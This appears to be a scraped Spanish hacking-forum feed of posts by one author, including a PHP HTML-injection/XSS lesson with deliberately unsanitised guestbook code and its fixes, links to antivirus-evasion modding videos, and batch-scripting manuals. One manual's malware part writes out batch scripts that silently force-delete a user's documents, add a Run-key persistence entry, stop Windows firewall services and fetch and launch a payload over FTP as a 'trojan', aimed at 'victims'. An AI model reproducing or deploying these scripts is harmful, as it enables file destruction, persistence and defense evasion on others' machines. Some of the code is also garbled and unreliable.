$pass "root";
$db "prueba"
if(isset(
$_POST['send']))
{
 
$conexion=mysql_connect($serv,$user,$pass);
 
mysql_select_db($db,$conexion) or die ("Error en la seleccion de la bd".mysql_error());
 
mysql_query("INSERT INTO comentarios(Autor,Titulo,Mensaje) 
              VALUES ('"
.$_REQUEST['Autor']."','".$_REQUEST['Titulo']."','".$_REQUEST['Mensaje']."')"$conexion
   or die ("Error en la query".mysql_error());
 
mysql_close($conexion); 
 echo 
"Se ha publicado correctamente";
   }else{
        echo 
'
<form action="" method="POST">
<b> Autor: <input type="text" name="Autor"> <br>
Titulo: <input type="text" name="Titulo"> <br> <br>
Mensaje: </b><br><TEXTAREA name="Mensaje" cols="100" rows="10"> </TEXTAREA> <br>
<input type="submit" name="send" value="Publicar!">
</form>
'
;
}
 
?>


Logicamente no se explicara el codigo (se supone que ya lo entiendes xD), veamos el codigo que ha creado el webmaster del
sitio para ver el contenido de lo que se publica, logicamente lo puede ver desde la bd pero por X razon existe el code:

Código (php) [Seleccionar]
<?php
# Reemplazar por tus datos:
$serv "localhost";
$user "root";
$pass "root";
$db "prueba"
#...............................
$conexion=mysql_connect($serv$user$pass) or die("Problemas en la conexion");
# Se selecciona la bd
mysql_select_db($db,$conexion) or die("Problemas en la selección de la base de datos");
# Se seleccionan las columnas a trabajar 
$comments=mysql_query("SELECT * FROM comentarios",$conexion) or die("Problemas en el select:".mysql_error());
# Se mete en la variable la llamada a la sql anterior
# Se crea un bucle a trabajar en cada vuelta de datos que encuentre    
while ($dat=mysql_fetch_array($comments))
{
  echo 
"<b> Autor :</b>".$dat['Autor']."<br>";
  echo 
"<b> Titulo : </b>".$dat['Titulo']."<br>";
  echo 
"<b> Mensaje : </b>".$dat['Mensaje']."<br>";
  echo 
"---------------------------------------------<br>";
}
# Cerramos la conexion...
mysql_close($conexion);
?>




Ahi comente el codigo (por si no se entiende del todo), con esto vemos que imprime directamente el contenido de la bd, por
lo tanto si nosotros metieramos codigo malicioso, nos lo mostraria en pantalla sin ningun filtro, con esto podriamos hacer
un HTMLi o incluso un XSS.


SECURIZANDO NUESTRO WEBSITE:

Todo esto puede ser muy lindo, el estar dandole dolores de cabeza al webmaster, pero que pasaria si nos lo hacen a nosotros
no seria muy bonito ahora. Veamos como hacer que nuestro sitio no nos hagan estas inyecciones de codigo (HTML, XSS...)

Opciones:

strip_tags() = Elimina las etiquetas
ejemplo:

<h1>0wnN3D</h1> Nos daria: 0wnN3D (simplemente)

Código (php) [Seleccionar]
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj 
$_GET['inj'];
if(isset(
$inj))
{
echo 
strip_tags($inj);
}else{
echo 
'<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>

</body>
</html>


htmlentities() = Obtiene las etiquetas de la inyeccion pero no las ejecuta
ejemplo:
<h1>0wnN3D</h1> Nos daria: <h1>0wnN3D</h1> (pero no ejecutaria el codigo)

Código (php) [Seleccionar]
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj 
$_GET['inj'];
if(isset(
$inj))
{
echo 
htmlentities($inj
}else{
echo 
'<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>

</body>
</html>

La opcion que ustedes eligan pues ya depende del caso.
Creo que el contenido del manual se ha explicado correctamente, por lo tanto creo que aqui termina.
Recuerda que esto es para practicar en casa y APRENDER, no para dañar a cada website que te encuentres vulnerable.

COPYRIGHT:

It has Written By 2Fac3R FOR http://www.breaksecurity.blogspot.com

#####################################
##                                                                          ##
# Destribución libre, respetando el autor y dedicatoria.  #
##                                                                           ##
######################################

#17
PHP / ¿Que esta mal? [Correccion de codigo]
3 Noviembre 2011, 01:24 AM
Hola amigos de CEH, quciera que me ayudaran en este codigo que no me funciona y no encuentro el error

Código (php) [Seleccionar]

?php
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";

if(isset($_POST['send']))
{
$conexion=mysql_connect($serv,$user,$pass);
mysql_select_db($db,$conexion) or die ("Error en la seleccion de la bd".mysql_error());
mysql_query("INSERT INTO comentarios(Autor,Titulo,Mensaje) VALUES
              ('$_REQUEST[Autor]','$_REQUEST[Titulo]',$_REQUEST[Mensaje])", $conexion)
   or die ("Error en la query".mysql_error());
mysql_close($conexion);
echo "Se ha publicado correctamente";
   }else{
        echo '
<form action="" method="POST">
<b> Autor: <input type="text" name="Autor"> <br>
Titulo: <input type="text" name="Titulo"> <br> <br>
Mensaje: </b><br><TEXTAREA name="Mensaje" cols="100" rows="10"> </TEXTAREA> <br>
<input type="submit" name="send" value="Publicar!">
</form>
';
}

?>


Espero respuestas, gracias  ;D
Zalu2
#18
Hi my friends, les traigo este pequeño videotutorial donde les muestro el metodo TIL, el cual lo usamos cuando la firma la tenemos una importacion de librerias, espero les guste y sigan con sus mods.

Detalles del Archivo:
Creado con Screen2Exe
Extension: .exe
Peso: 3.9 Mb
Duracion: 9:15 min

Programas necesarios para seguir el videotuto:
CFF Explorer
HexWorkshop
Crypter/Stub
Descargar --> http://www.multiupload.com/AYT0VOI2WE
Espero le den buen uso ;)

Nota: Hace tiempo que no hacia nada de modding jeje
#19
Hola amigos, les traigo este curso que le he colaborado a un amigo (Decoder) de un foro amigo, donde explico el metodo RIT y busco firmas con AVFucker, es metodo simple y explicado, para que se entienda y el modding siga!...

[youtube=425,350]http://www.youtube.com/watch?v=f0sRjdfzw84&feature=player_embedded[/youtube]

Espero les ayude a continuar con sus mods. Cualquier duda/Critica/Problema/sugerencia pueden hacerla en este mismo tema o abrir uno nuevo...
Espero les guste , comentar es agradecer.
Zalu2
#20
Manual Batch Nivel Medio-Avanzado
Autor: 2Fac3R


CONTENIDO
Citar
Introduccion............................................................2
CD- Aclaracion.........................................................2
Comandos no explicados anteriormente.....................3
-Dir....................................................................3
-If exist...else...................................................7
-If not exist, If %errorlevel%........................8
Mas comandos!!!.............................................................10
-Tree..................................................................11
-Fc.....................................................................12
-Ren...................................................................14
-Type..................................................................15
-At......................................................................16
-Call....................................................................17
Comando For!................................................................18
Despedida..............................25
Espero les guste :D...

DESCARGAR --->> http://www.multiupload.com/LQKX4QSFF9
#21
PARTE DEDICADA AL MALWARE!

Hola compañeros foreros, este tutorial esta dedicado principalmente a HxC I-H, MH y Cuh (en donde soy Gaara_18) entre otra comunidades en donde ando, recordarque esta es la segunda parte del Manual Batch (Nivel Medio) By 2Fac3R/RocKeG, y esta parte esta dedicada a los Malwares, esta será la parte mas extensa del manual asi que preparence, los temas que veremos aquí serán, Bucle, Virus, Worms, ProcessKiller, AvKiller y Troyanos, también mencionar que no me hago responsable de el mal uso del que le den a esta información, únicamente lo hago con el fin de que aprendan a hacer sus programas en Batch, sin mas hire por el orden mencionado asi que manos a la obra!!!:

Ya había mencionado lo de los Bucles, y se los había dejado a su búsqueda, ahora veremos varias formas de hacer un Bucle, vamos a un ejemplo sencillo de un Bucle infinito:
@echo off
:inicio
Start [url=http://www.hackxcrack.es]www.hackxcrack.es[/url]
Goto :inicio
Exit

Este código lo que hara seia crear una etiqueta llamada ":inicio" y abre el foro de HxC infinitamente hasta que la pc se trabe, ahora vamos a un pequeño Bucle con diferentes cosas:

@echo off
:inicio
Start /min [url=http://www.hackxcrack.es]www.hackxcrack.es[/url]
Start/min [url=http://www.masters-hackers.info]www.masters-hackers.info[/url]
Start/min [url=http://www.foro.el-hacker.com]www.foro.el-hacker.com[/url]
Start/min  [url=http://www.i-hacker.info]www.i-hacker.info[/url]
Start
Goto:inicio
exit
Lo que hace el code es simple, aprovecho para invitarlos a que vayan a estas comunidades donde me he sentido muy bien en ellas , bien, el bucle no es tan interesante, únicamente es para hacer una pequeña bromita, pero recuerda que hacer mucho esto es de lammers , asi que solo háganlo para aprender como funka :p, ok seguire con los Virus, que este concepto se tiene muy diferente por los que andamos en esto del Hacking, en lo personal para mi un Virus es un archivo que solo se encarga de destruir mas archivos, con el fin únicamente de Ch1nG4R al administrador de la pc, no recomiendo que distribuyan sus 'Virus' porque para mi eso es de lammers, pero bueno sigo con el code, dado mi discurso, sabemos que un virus es para borar archivos asi que supongo que sabras como esta compuesto un virus en Batch.
-Mmm... con "Del"?-
Exacto! Entonces vamos a codear, bien ¿Qué queremos que haga nuestro Virus?, mmm... pues empezare con un simple virus que destruya todos los archivos de la carpeta "Mis documentos", para ello es necesario conocer las variables de entorno para este caso vamos a usar una que llevamos usando.
Citar–Ahh ya sé! %homepath%-

Exacto!, vamos al code.

@echo off
Del  %homepath%\Mis documentos\*.*
Exit

[COLOR="red"]NO LO EJECUTES!!![/COLOR]

Antes decirte que este code para ser Virus pues no nos funcionaria porque pide confirmación para que elimine los archivos y lógicamente la victima no lo ejecutara, entonces para que nos funcione vamos a usar algo mas reforzado, usaremos el comando "attrib" y los parámetros de "del", vamos a cmd y tecleamos "del /?" (sin comillas) y veamos que nos sale...:

Elimina uno o mas archivos.

DEL [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres
ERASE [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres

  nombres       Especifica una lista de uno o m s archivos o directorios. 
                Se puede utilizar comodines para eliminar varios archivos.
                Si se especifica un directorio todos sus archivos se eliminar n.
     

  /P            Pide confirmaci¢n antes de eliminar cada archivo.
  /F            Fuerza la eliminaci¢n de archivos de s¢lo lectura.
  /S            Elimina archivos especificados en todos los subdirectorios.
  /Q            Modo silencioso. No pide confirmaci¢n con comod¡n global
  /A            Selecciona los archivos que se van a eliminar bas ndose en los
                atributos
  atributos     R  Archivos de s¢lo lectura       S  Archivos de sistema
                H  Archivos ocultos               A  Archivos preparados para
                                                     almacenamiento
                -  Prefijo de exclusi¢n

Si las extensiones de comando est n activadas DEL y ERASE cambian de la siguiente manera:

La sem ntica que se muestra para el modificador /S est  invertida de tal modo
que le muestra solamente los archivos eliminados y no los que no se encontraron.


Analicemos los parámetros, nos dice que el parámetro "/f" fuerza la eliminación del archivo, pues vamos a usarlo, usaremos también el "/s" para que elimine en todos los subdirectorios  y usaremos "/q" para que sea 'Silencioso'.
-¿Entonces como quedaría el code?-
Pues el code quedaría asi:
@echo off
Attrib –r –a – s –h "%homepath%\Mis documentos\*.*
Del /p /q /s "%homepath%\Mis documentos\*.*
Exit

-
CitarOhh crei que se te había olvidado lo del comando Attrib que mencionaste que usaríamos pero ahora veo que no -
Pues ya ves que no :p, entonces ese seria el code, no lo ejecuten en su maquina a menos que tengan una maquina virtual para este tipo de pruebas, si eres mas avanzado quizás pienses:
Citar-Que le pasa a este man, porque no usa for y se deja de escribir tanto código-
Claro!, creo que tienes algo de razón pero como he dicho a lo largo de estos manuales que lo dejare a tu búsqueda, pero no te preocupes va a llegar algún momento en donde explique el comando, todo a su tiempo :p. Antes de continuar lo dejo a su imaginación 'que borran' con su pequeño virus en Batch, recuerden que sabiendo como funka una pc podrán borrar ciertos archivos y dejarla inservible (para algunas victimas, otras no son tan tontas y pueden recuperarse bajo este tipo de 'ataques', pero pues son menos que las que no ) , bien sigamos con lo que nos interesa, ahora les mencionare 'como' hacer un worm, ya habíamos hecho uno en el primer manual, pero era muy simple para que nos interesara al 100, pues ahora voy a suponer que tienes tu "virus" y lo quieres propagar (o saber como se propaga con Batch ) , lo que vamos a hacer con nuestro virus es copiarlo a la carpeta "system32" y agregarlo al registro para que se inicie con Windows ?, quizá esto te suene a Chino, pero es aquí donde se va a alargar este tuto, voy a explicar el uso del registro (brevemente, ya sabes, si quieres algo mas complejo busca por Google|Altavista|Yahoo  o el que desees), también explicare el uso del For
Citar-Por fin!!!, el famoso for!-
Y varias cosillas mas, bueno primero les mostrare el code e ire explicándolo:
@echo off
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VIRUS.bat /t REG_SZ /d "%WINDIR%\14785\SYSTEMSHELL.exe" /f

Copy %0 %windir%\system32

Exit

Con eso es mas que suficiente, lo demás lo dejare a su búsqueda ya que no me gusta este tipo de cosas, solo las explico para que aprendan como funciona y como defenderse de ellas, bueno explico; Lo primero es cuando se agrega al registro, en este caso se va a agregar al Run, para que se inicie con Windows, donde dice "VIRUS.bat" es donde vas a poner la ruta del "Virus" que hemos creado o poner la ruta del programa que quieres que se incie con Windows ,  la siguiente línea les debe ser conocida ya que ya la habíamos usado anteriormente, pero por si se te había olvidado, se copia a si mismo en la carpeta system32 que esta en la carpeta "Windows". En este caso les dejare una tarea xD, espero que la hagan no como en la escuela que no las entregan xD, la pequeña tarea es que se copie a cualquier dispositivo USB que se conecte, te dare una pista; Usa el comando "IF exist" que seguramente ya lo habías buscado por ahí, puedes mandármelo por mp o simplemente postearlo en los foros anteriormente mencionados o de donde sacaste este manual (Excepto Taringa xD). Muy bien, sigamos con el manual, empezaremos con un pequeños Taskkiller (Asesino de procesos), esto nos servirá para poder sacar del juego casi cualquier proceso (esto incluye el de los AntiVirus (AV), los comandos que aprenderemos en este tuto son el Tskill o TaskKill y tasklist. Nosotros utilizaremos tskill, bien voy a un ejemplo simple de su uso, primero abriremos el internet explorer ?

@echo off
Tskill 1716
Exit


-
CitarComo pero asi de fácil?-
Claro esto es muy fácil, lo único que tienes que hacer es poner el nombre del proceso a eliminar.

¿Pero como le hago si quiero eliminar otro proceso?, explicame otro ejemplo para tenerlo mas claro, además no entendí porque ese numero -

Bien, te explicare otro, abre la calculadora del Windows.


Inicio --> Todos los programas --> accesorios --> calculadora :D

Ahora ve al cmd (inicio --> ejecutar --> cmd ? enter) y teclea "tasklist"
Te ha salido una lista de los procesos que se están ejecutando en este momento, pues busca ahora el de la calculadora, Deberias haber encontrado un proceso llamado "calc.exe" con un pid de 544, pues adivina... Ese es el nombre que vamos a poner después de tskill, vamos al code:

@echo off
Tskill 544
Exit


Y ejecutalo, recuerda que no deberías de haber cerrado manualmente la calculadora antes, osea tiene que estar activa en el momento de que la ejecutes :D. Si eres un poco curioso te habras dado cuenta de que no has podido cerrar el proceso del AV, pues eso es algo mas complejo, para poderlo cerra primero debes saber que servicios lo están 'Protegiendo' pero ese tema se sale de esto asi que lo dejare a tu búsqueda, para que busques específicamente de tu AV :p, entonces buscado esto sabras como hacer un AVKiller, que es un programa en el que primero se quitan los procesos del AV y después elimina por completo de donde se instalo, busca y busca seguro encontraras :D.Pero por si no encuentras en la próxima parte prometo poner un buen code de AVKiller ? si es que veo que hay gente que lo hace xD, Lo que sigue para mi es lo mejor, ya sabran los de HxC me ha pegado eso de poner lo mejor al final xD, asi que iremos a lo mejor que es el Troyano, en este caso lo voy a hacer con el comando Ftp (que seguro ya sabes lo del FTP porque te haz leído las revistas ;) básicamente combonare varias cosas que hemos estado viendo en este manual.

VAMOS A CREAR UN TROYANO EN BATCH!!!

Bien empezare por explicarles el code que es este:
@echo off
Echo USER>Troj.tmp
Echo PASWORD>>Trojan.tmp
Echo get Virus.bat>>Trojan.tmp
Echo bye>>trojan.tmp
Echo quit>>trojan.tmp
Start –s:Trojan.tmp  Servidor de FTP
Del /f /s /q Trojan.tmp
Start/min  Virus.bat
Copy %  %windir%\system32
Exit

Vamos a crear un archivo llamado "Trojan.tmp" con las siguientes características:  Abrir el ftp poniendo nuestro nombre de usuario (que el lo que sustituiras para que te funcione al 100, después ponemos la contraseña que tenemos para usar el ftp, y vamos ahora a los comandos del ftp si vamos al cmd y tecleamos "ftp /?" veremos que nos dara error y automáticamente nos abrirá el servicio FTP, ahora ahí dentro ponemos "help" (sin las comillas) y nos saldrán los comandos que podemos utilizar en el servicio FTP dentro de nuestro cmd o bat, voy ahora a explicar unos cuantos que nos servirán como ayuda para nuestro pequeño troyano en batch, los comandos son, put, get, del, cd, mkdir, rename y rmdir.  Los demás los dejare a su búsqueda, empecemos el comando del ftp "put" nos sirve para subir un archivo a nuestro  servidor ftp, vamos a hacerlo en la cmd vamos a teclear "ftp" (recuerda que sin las comillas :D) y nos ha salido esto: 



No recuerda que no soy adivino xD. Bien ahora tecleamos nuestro servidor ftp, en mi caso es Anime online :D, aprovecho para invitarlos a mi web.  Ok sin mas vamos a la practica tecleamos "open www.elanime.do.am" (recuerda que debes sustituir por el nombre de tu servidor de ftp) y nos saldrá esto:

Ahora debemos poner el nombre de nuestro usuario y contraseña, y nos saldrá esto:


Bien ahora estamos adentro de nuestro servidor ftp, vamos a hacer algo, subiremos y descargaremos archivos. Vamos al put , get y "dir",
-Pero que has dicho? "Dir" es un comando del batch no?-
Claro veo que has estudiado por tu cuenta, recuerda que este manual es solo un pequeño "amigo" para aprender cosas que en otros manuales no he visto :D, bien sin mas vamos al ejemplo, vamos a hacer un dir. Vamos teclea "dir"

El dir nos listara los archivos que tenemos en nuestro ftp, y vemos varios archivo voy a bajar en especifico 1 y subiré un archivo de "prueba.txt", basta de teoría y vamos al ejemplo:

Como ven si le damos enter nos descargara el archivo mencionado, que es "libro3.jpeg" que en este caso es una imagen del 3er libro del Avatar xD (el libro fuego),

Este es el resultado que tienes que tener, ahora vamos a ver si nos la ha descargado en realidad:


xD disculpen que este tan distorsionada pero era para que se entendiera el ejemplo xD, sigamos, ahora vamos a subir un archivo, vamos a la cmd de nuevo, y tecleamos "put prueba.txt" (recuerda que yo subiré este archivo que esta en %homepath%
-¿Por qué ahí?-
Pues si te haz fijado en la primera imagen, al iniciar la cmd me aparece esa ruta por defecto, pondré la imagen nuevamente :

Vemos, que nos aparece en donde dije, esto puede varias depende de la configuración de la pc, asi que no te asusten ni pienses que no te funcionara si no tienes esta ruta :D, bien vamos a continuar.
Bien, se supone que haz intentado teclear "put prueba.txt" que en mi caso tiene que estar en %homepath% osea en la carpeta del usuario (si no entiendes esto del %homepath% leete las partes anteriores del manual).
Vamos a la imagen para que vean que funciona :D

Bien funciono, ahora vamos a hacer un dir para verificar que este ahí :D.


Aquí estamos viendo el archivo "prueba.txt" (a la derechar) subido correctamente y lo demás que esta subrayado son los informe del archivo subido,  ok ya entendido todo esto sabemos como funciona el servidor FTP y hemos hecho una prueba de subir y bajar archivos. Ahora vamos a transformarlo a batch y no solo en cmd, vamos a nuestro code de ejemplo el cual sube el prueba.txt y baja "libro3.jpeg".
@echo off
Echo USUARIO>trojan.tmp
Echo PASSWORD>>trojan.tmp
Echo put prueba.txt>>trojan.tmp
Echo get libro3.jpeg>>trojan.tmp
Echo bye>>trojan.tmp
Echo exit>>trojan.tmp
ftp-s:trojan.tmp [url=http://www.elanime.do.am]www.elanime.do.am[/url]
exit
Este es un simple "Troyano" el cual se puede hacer muchísimo con esto, cabe decir que si el puerto necesitado por el ftp es el 23 como muchos ya sabran y pues si el puerto esta cerrado esto no funcionara, tampoco funcionara en caso de que el firewall nos bloquee el paso, para ello tenemos que hacer varias combinaciones de nuestros códigos, por ejemplo primero cerraremos el firewall para ello necesitamos este code:
@echo off
Net Stop "Centro de Seguridad"
Net Stop "Firewall de Windows/Conexión compartida a Internet (ICS)"
Exit

Tambien mencionar que este code solo desactiva el firewall de Windows, si nuestra 'Victima' tiene otro Firewall como el ZoneAlarm no funcionara ?, pero recuerden que lo dije en un principio :D.
Entonces lo dejo a su imaginación, recuerden lo que hemos visto en esta parte, worm, virus, bucles, AvKiller, etc. Y si le hechan imaginación seguro podras sacar sin problemas al firewall y al AV para poder meter nuestro pequeño "amiguito" (supongo que sabes a que me refiero no ;D. Sin mas esta es la ultima parte "Publica" por el momento ya que unire varias partes y mejorare el manual para dejarlo en uno solo y participar en el concurso de HxC, asi que por el momento seria todo, apréndanse bien todo porque cuando regrese, regresare mas que nuca, además anticiparles que quizá haga en un futuro un manual de HTML con mi estilo de 'Explicar' las cosas :D.
Les recuerdo que pueden hacer con este manual lo que se les ocurra y se les antoje, menos decir que ustedes lo hicieron xD, recuerden mencionar el Autor del Manual (Gaara_18|2Fac3R|RocKeG), sin mas decirles que este manual fue hecho específicamente para HxC y I-H! pero en las otras comunidades donde ando también lo posteare para que me critiquen (no muy gacho por favor xD).
Me despido
2Fac3R

PDF:

DESCARGAR -->Multiupload.com - upload your files to multiple file hosting sites!

NOTA: EN EL MANUAL menciono IMAGENES NO HE SUBIDO (AUN) LAS IMAGENES SI QUIERES VERTELO POR EL MOMENTO, BAJATE EL PDF QUE VIENE CON LAS IMAGENES :D ASI QUE PONGANSE A ESTUDIAR.
PD: LAS SIGUIENTES VERSIONES NO SALDRAN ANTES DE QUE TERMINE EL NUEVO CONCURSO DE HXC DE LOS MANUALES, AI SE LEEN LA ULTIMA PARTE VERAN.
ZALU2
#22
Scripting / Manual Batch (Nivel Medio) By 2Fac3R
20 Octubre 2011, 22:33 PM
Hola amigos espero les haya gustado el manual "Batch desde -1" que hice, mencionar que ese manual lo hize hace como 4 meses donde estaba metido al 100% con el Batch y no es por Fardar pero me quedo uff! xD, bueno en este segundo manual de Batch explicare mas a fondo varias cosas y como ya sabran algunas cosas se las dejare a su busqueda, mencionar tambien que este manual pienso que va a ser el mas extenso dado que para llegar a nivel 'avanzado' es algo mas de tiempo, bueno sin mas discursos empiezo:

Me ire a comandos nada mas, empezare por el "ATTRIB" (recuerda sin las comillas ;D) este comando lo que hace es quitar y agregar atributos a los archivos, veamos un ejemplo:


@echo off
attrib +h "%homepath%\escritorio\prueba.txt"
exit


Lo que nos hara este code es ponerle el atributo de "oculto" a nuestro programa que seguramente hemos creado en el escritorio llamado "prueba.txt", ahora ve al escritorio y dale click derecho --> propiedades --> General y hasta abajo nos saldra tildada la casilla de "oculto". Y para quitarle el atributo de oculto hacemos esto:


@echo off
attrib -h "%homepath%\escritorio\prueba.txt
exit


Ahora compruebalo y veras que es cierto :D. Antes de que se me olvide si quieres checar todas las variables de entorno que hay ve a cmd y teclea esto "set>vEntorno.txt" (sin las comillas) y encontraras un .txt donde estaran todas las Variables de entorno. Bien dicho esto aprovecho para explicar los "redireccionamientos" como sabran no soy muy bueno explicandome asi que voy a la practica, este es nuestro code que crea un archivo txt llamado "red" que tiene en su interior "Manual" y lo sobreescribe con "By 2Fac3R".

@echo off
echo Manual>red.txt
echo By 2Fac3R>>red.txt
exit


Prueben con las variables de entorno para que ustedes eligan donde se cree el txt, xD me estoy acordando de cosas que no habia explicado como los "&&", "|", "??" y "*". Bien de uno en uno los hire explicando. Vamos con un ejemplo del "&&".

@echo off
start CCleaner && start http://www.hackxcrack.es
exit

Lo que hace este pequeño code es simple, abre el CCleaner.exe y al finalizar de abrirlo va al navegador por defecto y abre el foro de hackxCrack. Ahora sino tienes el CCleaner donde estas ejecutando el code trata y veras que te dara error :p. Bien el de "|" lo explicare en un futuro donde sera utilisimo para el AVKi... :rolleyes: ya lo sabran xD, bien ahora explicare el "??", lo que hace esto es sustituir por ciertos digitos (sigo sin saber explicarme, espero se me quite en un futuro), bien vamos a un ejemplo, lo explicare junto al "*".


@echo off
del ???.*
exit


Lo que hace este code es borrar todos los archivos que tengan 3 digitos en su nombre y con cualquier extension.

Citar-Ahh ya he captado lo del asterisco ("*") entonces...-

vamos a otro ejemplo

@echo off
del *.*
exit


Este lo que hace es borrar todos los archivos donde se esta ejecutando nuestro bat.

Citar-Muajajajaja!!! entonces esto lo podria comvertir en un Virus!!!-

Claro, claro pero todo a su tiempo, habra un manual dedicado a los Malwares asi que esperalo con ansias :p.

Bien entendido esto sigo con los comandos: El siguente comando es:

"CD": Este comando es para poder subir a ciertos directorios, por ejemplo si estamos en C:/ y queremos ir a la carpeta windows dentro de nuestro bat hacemos esto:

@echo off #Suponiendo que estamos en la ruta de nuestro HD que en este caso seria "C:/"
cd windows #Ahora estamos en la carpeta "Windows"
exit


Citar-Para que me sirve esto?-
Pues la respuesta es muy simple, en caso de que nos queramos ir a la carpeta "system32" que esta en Windows y crear un archivo txt, hariamos esto:

@echo off
cd %homedrive%
cd %windir%
echo Hola mundo>archivo.txt
exit


Seguro pensaste en esto no?, pues si lo pensaste andas algo cerca, con un "Cd %windir% hubieramos llegado a nuestro destino, este comando (en lo personal sirve muy poco) mas bien seria un comando mas xD, pero seguro le sacaran provecho :p. No por esto se brinquen esto que en un futuro lo ocuparemos aprendido:D. Como resumen es otra forma de hacer las cosas en Batch :D. Bien se me ha olviado el "C..", este sirve para retroceder a la carpeta anterior de donde estes. 
Me gustaria aclarar varias cosillas :p, de los manuales anteriores, el comando "del" funciona igual que el "erase", el "md" funciona igual que el "mkdir", el "Rd" = "Rmdir", asi que usen el que mas les guste :D. Y el siguiente comando mas explicado (que vimos en las clases anteriores :D) es el "if", ahora a fondo:

[SIZE="4"]Nuestra segunda Calculadora pero ahora mas UTIL[/SIZE]

Bien, retomemos el code del primer manual que era:

@echo off
echo Bienvenido a mi primer programa util, xD.
:Elegir
echo ¿Que quieres hacer?
echo.
echo 1. Sumar
echo 2. Salir
set /p hacer=
if %hacer%== 1 goto :sumar
if %hacer%== 2 goto :salir
cls
:Sumar
set /p num=  Escribe el primer numero a sumar
cls
set /p num2= Escribe otro numero
cls
set /a res=%num% + %num2%
echo el resultado es %res%
pause
cls
echo ¿Quieres sumar otra vez?
echo.
set /p sov=  Si/No
if %sov%==si goto :Sumar
if %sov%==no goto :Elegir
:Salir
echo Esta fue la primera calculadora que hago en Batch
pause
exit.


Ahora la haremos algo mas 'Compleja'. Manos a la obra!!!
Pondremos las opciones de restar, multiplicar, sumar y dividir, pondremos una interfaz mas amigables, un buen titulo y un mensaje de despedida. Recordemos que para sumar es +, restar -, dividir /, y multiplicar *. Sin mas vamos al code:

@echo off
title Mi segundo programa util
color  9
echo Bienvenido a mi SEGUNDO programa util, xD.
:Elegir
echo ¿Que quieres hacer?
echo.
echo 1. Sumar
echo 2. Restar
echo 3. Multiplicar
echo 4. Dividir
echo 5, Salir
set /p hacer= ._
if %hacer%== 1 goto :sumar
if %hacer%== 2 goto :Restar
if %hacer%== 3 goto :Multiplicar
if %hacer%== 4 goto :Dividir
if %hacer%== 5 goto :Salir
cls
:Sumar
set /p num=  Escribe el primer numero a sumar._
cls
set /p num2= Escribe otro numero._
cls
set /a res=%num% + %num2%
echo el resultado es %res%
pause
cls
goto:elegir
:Restar
set /p nume=  Escribe el primer numero a Restar._
cls
set /p numer= Escribe otro numero._
cls
set /a res1=%nume% - %numer%
echo el resultado es %res1%
pause
cls
goto:elegir
:Multiplicar
set /p num= Escribe el primer numero a Multiplicar._
cls
set /p num2= Escribe otro numero._
cls
set /a resm=%num% * %num2%
echo el resultado es %resm%
pause
cls
goto:elegir
:Dividir
set /p num= Escribe el primer numero a Dividir._
cls
set /p num2= Escribe otro numero._
cls
set /a resd=%num% / %num2%
echo el resultado es %resd%
pause
cls
goto:elegir
:Salir
echo Esto fue la primera calculadora "Compleja" que hago
pause
exit.


Analicen el code y veran como lo entienden, bien la explicacion la deberia de dar pero, la dare, primero nuestro programita nos pregusta que ¿que queremos hacer?, y cuando le respondemos guarda la respuesta en una variable con "set /p" y va directo al "if" el comando lo que hace es que si la respuesta es 1 va a :Sumar, si es 2 va a :Restar si es 3 va a (go to :...) etc. Despues de ello, al estar especificamente en la suma nos pide un numero, despues otro y los guarda en variables distintas, despues el set /a se encarga de hacer la operacion y el echo nos muestra el resultado, despues nos borra la pantalla y va al inicio. Y asi sucesivamente hasta que le demos en el 5 que es la opcion de salir. Con esta calculadora mas compleja nos permite entender varios comandos, como: el if (aunque sea lo mas basico) goto, las etiquetas, el "cls" que es para borrar la pantalla y los que se encargan de las variables "set /p y Set /a".

Si han entendido al 100 el code, les sera mucho mas facil las siguientes partes ;D, bien ahora quiza muchos estan artos de los ejemplos del "Hola Mundo" y la "Calculadora" no tan util como en los tutos dicen, pero sepan que la intencion de hacer una calculadora en este manual no es que ustedes puedan sumar y restar con ella, sino que entiendan mas o menos como se 'programa' en Batch, asi que [SIZE="3"]NO TE SALTES ESTA PARTE!!! Y ENTIENDELA BIEN PORQUE EN LA SIGUIENTE PARTE TE SERA UTIL!!![/SIZE], sin mas me despido de esta pequeña parte y decirles o adelantarles que la siguiente parte quiza sea la mas extensa y va a ser orientada a "MALWARE" asi que no se la pierdan!!!.
[SIZE="4"]BY 2Fac3R[/SIZE]

PD: Repito lo que en el primer manual, este tuto es libre, pueden hacer con el lo que se les antoje, postearlo en otros foros, etc, etc, pero con la condicion de que mencionen al Autor (2Fac3R o RocKeG).:cool:
Zalu2


PDF:

PRIMERO --> http://www.multiupload.com/HDQD1WUKVV
2DA PARTE --> http://www.multiupload.com/6MEG25RG5U
NIVEL MEDIO --> http://www.multiupload.com/UFE74WZ1JW
#23
Scripting / Manual Batch 2da Parte (By 2Fac3R)
20 Octubre 2011, 22:30 PM
Hola de nuevo batchers newbies, espero que les haya gustado la primera parte de este manual, les recuerdo que soy 2Fac3R aka RocKeG (como quieran llamarme), en la primera parte vimos lo mas basico de batch, "que es?", "que podemos hacer?", "comandos basicos" y otras cosas, supongo que ya te haz estudiado varios comandos y y haz practicado con ellos como lo hemos hecho con "md" y otros. Bien ya me conocen me extiendo mucho asi que vamos al grano.

Bien en esta 2ª parte voy a enseñarte mas comandos y mas cosas que haremos.
Empecemos;

VAMOS A HACER UNA CALCULADORA:

Primero que nada voy a explicar desde cero lo de las variables y como las utilizaremos
en la calculadora, como ya sabemos las variables varian xD dependiendo el contenido
que deseemos darle a tal variable vamos por un ejemplo que explique en la parte
anterior. Vamos a crear un programa donde preguntemos el nombre completo, la edad y lo que te gusta de la programacion en batch, vamos al code:

Código:
@echo off
echo Hola
echo ¿Cual es tu nombre completo?
set /p nombre=
cls
echo ¿Cuantos años tienes?
set /p edad=
cls
echo ¿Que te gusta en el Batch?
set /p gustos=
cls
echo Hola %nombre% tienes %edad% años y lo que te gusta en el batch es %gustos%
echo espero que sigas estudiando :)
pause>nul
exit


Ahi esta nuestro codigo, vamos al grano con nuestra calculadora.
